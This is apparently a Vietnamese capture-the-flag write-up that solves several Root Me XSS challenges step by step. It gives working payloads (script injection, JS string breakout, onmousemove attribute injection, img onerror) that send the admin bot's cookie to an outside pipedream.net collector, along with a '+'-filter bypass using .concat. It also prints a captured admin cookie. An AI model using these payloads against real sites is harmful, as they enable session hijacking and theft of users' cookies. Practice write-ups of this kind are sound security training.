[Root me] Writeup XSS Challenge
Last updated
Last updated
Trong bài này này basic, khi vào chúng ta sẽ thấy interface như này:
Có form điền Title và Mesage khi đó chúg ta hãy thử gửi lên một đoạn message như người dùng bình thường, tiếp đó thử chèn đoạn script: <script>alert(1)</script>
Khi đó chúng ta thấy script này chèn thành công vào span tag vào payload thành công từ đó chúng ta thay alert()
thành document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie
Chờ một phút sau cookie sẽ được gửi về requestbin
Trong bài này thì khi vào nó cho một input nhập từ 0 tới 100, thử nhập 100 xem nó sẽ ra gì:
Ctr+U để mở source code lên xem như nào:
Ở đây ta thấy rằng có một biến là number
và khi ta nhập số là biến number
được gán vào:
Ý tưởng bài này thì chúng ta sẽ break out JS bằng cách ';
hoặc '-
';alert(1)// hoặc '-alert(1)//
Payload thành công!!!
Khi đó đoạn script nó sẽ như này:
Vậy như bài trên chúng ta lại thay payload như này trên URL
http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//
Vì XSS là lỗ hổng client side nên chúng ta sẽ gửi nó từ contact cho admin:
Khi đó con bot sẽ leak cookie của admin về khi admin nhấp vào đọc:
Bài này nhìn qua thì không có form để test XSS mà đề bài là Reflected XSS nên chúng ta sẽ xem xét ở URL:
Nếu chúng ta thay đổi p=sha1
thì nó sẽ ra gì:
Nó sẽ ra như này, tiếp đó mở source code kiếm tra:
Thấy rằng p=sha1 là giá trị của thuộc tính href như vậy chúng ta cần suy nghĩa làm sao để chèn được vào đây.
Dùng thuộc tính onmousover
hoặc onclick
để thêm vào thẻ <a>
nhưng nên nhớ rằng thường thì admin sẽ không nhấp vào link lạ nên ở đây chúng ta chọn omouseover
, khi đó đoạn gắn shau p
sẽ là:
sha1' onmousemove='alert(1)
Khi đó payload sẽ như này:
sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)
Nên nhớ rằng chúng ta phải dùng nối chuỗi
.concat trong JS vì dấu + đã bị filter đi
Sau khi gửi và report cho admin thì chúng ta chờ một phút để con bot leak thông tin và gửi về requestbin
Interface
khá giống với bài Stored 1 nhưng chỉ có điều nó thêm status
Bật source code
lên kiểm tra thì có một class được đặt là invite
Ý tưởng sẽ dùng Burp suite để bắt hành động:
Nhận thấy Cookie
có status:invite,
vậy thì chúng ta hay thử thay đổi giá trị status
xem như nào:
Khi đó chúng ta forward
để trang web gửi lên sever và nhận ra rằng status đã thay đổi
Ý tưởng bây giờ là break out đoạn souce code này:
Ở đây payload lúc đó sẽ là "><img scr=1 onerror=alert(1) />
(">
để đóng thẻ i
lại)
Payload thành công giờ chỉ cần thay alert() thành document....và gửi nó lên, đợi một lúc thì được trả về ADMIN_COOKIE như này<<<Lưu ý: có thể dùng .concat để nối chuỗi nếu bị filter dấu + >>
Lúc đầu mình nghĩa đây là flag nhưng không đúng, thì chợt nhận ra status nó là invite thì mình cần thay đổi cookie và reload lại trang:
Cookie: status=invite; ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F
Các phần tiếp theo sẽ được cập nhật trong thời gian sớm nhất cảm ơn các bạn đã đọc bài...